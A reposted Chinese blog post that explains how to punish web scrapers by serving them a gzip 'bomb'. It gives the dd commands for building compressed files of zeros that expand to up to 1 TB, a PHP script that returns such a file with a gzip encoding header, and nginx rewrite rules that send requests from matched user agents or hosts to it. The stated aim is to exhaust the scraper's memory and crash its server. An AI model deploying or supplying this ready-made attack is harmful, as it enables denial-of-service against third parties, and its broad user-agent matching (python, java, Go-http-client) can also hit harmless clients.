【转载】应对网站被频繁采集 消耗对方的资源

一般对于那些采集不听劝或者比较恶意的UA什么的，换着花样来访问的，那就换个脏的玩法，反正不听劝

那就给服务器上加个逻辑技（zha）术（dan）:

知道某个请求是爬虫发来的了，不满足于单单屏蔽对方，而是想搞死对方,那就玩点脏的！

1.linux超大文件(炸弹)制作在Linux中，使用以下命令：

dd if=/dev/zero bs=1M count=1024 | gzip > 1G.gzip
//制作1G文件
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
//制作10G文件
dd if=/dev/zero bs=1M count=1048576 | gzip > 1T.gzip
//制作1T文件

我一般都做个1T的

2.PHP调用返回文件代码(404.php)

<?php
header('Content-Encoding: gzip');
echo file_get_contents('1T.gzip');
?>

3.Nginx添加配置返回脏弹

伪静态配置：

location / {
  if ($http_user_agent ~* "(SemrushBot|Semrush|python|java|Go-http-client)") {
    rewrite ^/.*  /404.php last;
  }
}

(SemrushBot|Semrush|python|java|Go-http-client)为恶意UA匹配，自由发挥

当然如果知道是来自哪里的采集也可以去全局配置文件里面写：

if ($host ~ '^www.a.com|IP'){
     rewrite ^/.*  /404.php last;
   }

还是谨慎点使用比较好，实测有效，简单科普一下：

一般网站服务器会使用 gzip 压缩一些资文件源，这些资源在网络上传输的时候，是压缩后的二进制格式。客户端收到返回以后，如果发现返回的Headers里面有一个字段叫做 Content-Encoding ，其中的值包含 gzip ，那么客户端就会先使用 gzip 对数据进行解压，解压完成以后再把它呈现到客户端上面。

浏览器自动就会做这个事情，用户是感知不到这个事情发生的。而 requests 、 Scrapy 这种网络请求库或者爬虫框架，也会帮你做这个事情，因此你不需要手动对网站返回的数据解压缩。如果我们把一个1GB的文件压缩成1MB，那么对服务器来说，仅仅是返回了1MB的二进制数据，不会造成任何影响。但是对客户端或者爬虫来说，它拿到这个1MB的数据以后，就会在内存中把它还原成1GB的内容。如果我们进一步增大原始数据，很容易就可以把爬虫所在的服务器内存全部沾满，轻者服务器直接杀死爬虫进程，重则爬虫服务器直接死机。

****所以安排好了别自己测试，后果自负！所以安排好了别自己测试，后果自负！所以安排好了别自己测试，后果自负！